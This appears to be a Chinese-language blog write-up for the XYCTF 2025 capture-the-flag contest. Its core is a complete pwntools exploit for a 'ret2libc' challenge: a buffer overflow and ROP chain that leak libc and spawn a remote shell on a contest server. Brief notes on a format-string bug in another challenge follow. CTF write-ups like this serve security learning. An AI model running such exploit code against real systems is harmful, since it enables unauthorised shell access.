xyctf2025_wp

ret2libc

看保护:

no pie 、 no canary

进入revenge函数后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
import os
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')

if os.environ.get("ZELLIJ") == "0":
context.terminal = [
"zellij",
"action",
"new-pane",
"-d",
"right",
"-c",
"--",
"bash",
"-c",
]

exe = ELF('./pwn')

def conn():
if args.LOCAL:
io = process([exe.path])
if args.GDB:
gdb.attach(io)
elif args.GDB:
io = gdb.debug([exe.path], "b *main")
else:
# nc pwn.challenge.ctf.show 28213
# 47.93.96.189 20511
io = remote('47.94.103.208', 24586)
return io




def main():
global io
io = conn()
offset = 0x218 + 4
puts_got = exe.got['puts']
puts_plt = exe.plt['puts']
# fgetc_got = exe.got['fgetc']
# __libc_start_main_got = exe.got['__libc_start_main']
add_rsi = 0x04010EB
reset_rsi = 0x04010E4
mov_rdi_rsi = 0x0401180
main = exe.symbols['main']
_rbp_ = puts_got - 0x20

# --------------- edit buffer mode ---------------
revenge = exe.symbols['revenge']
payload = b'A' * offset + b'\x28' + p64(main)

# --------------- leak libc ---------------
payload = b'A' * offset + b'\x28' + p64(reset_rsi) + p64(add_rsi) + p64(mov_rdi_rsi) + p64(puts_plt) + p64(main) + p64(puts_got)
io.sendline(payload)

# --------------- brute buffer ---------------
payload = b'A' * offset + b'\x28' + p64(main)
for _ in range(228):
io.sendline(payload)
recv_bytes = io.recvuntil(b'\x7f')[-6:]
puts_addr = u64(recv_bytes.ljust(8, b'\x00'))
log.success('puts_addr: ' + hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc.select_libc(9)
libc_base = puts_addr - libc.dump('puts')


# --------------- exp ---------------
ret = 0x040101a
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = b'A' * offset + b'\x28' + p64(reset_rsi) + p64(add_rsi) + p64(mov_rdi_rsi) + p64(ret) + p64(system_addr) + p64(binsh_addr)
io.sendline(payload)

# recv_bytes = io.recvuntil(b'\x7f')
# log.info(recv_bytes)
io.interactive()

if __name__ == "__main__":
main()

web苦手

逆向巨恶心, 不如叫逆向苦手

girlfriend

非常有用的格式化字符串漏洞
在replay()函数中:

可以泄露出pie基址、__libc_start_call_main地址、rbp中的值(main函数的rbp)、canary

第一次实验

第二次实验

第一次调试

布置栈布置了半天也没成功,我的思路是在栈上布置rop链,总是差一点,应该不是正确解法


xyctf2025_wp
http://example.com/2025/04/04/xyctf2025-wp/
作者
yvyvSunlight
发布于
2025年4月4日
许可协议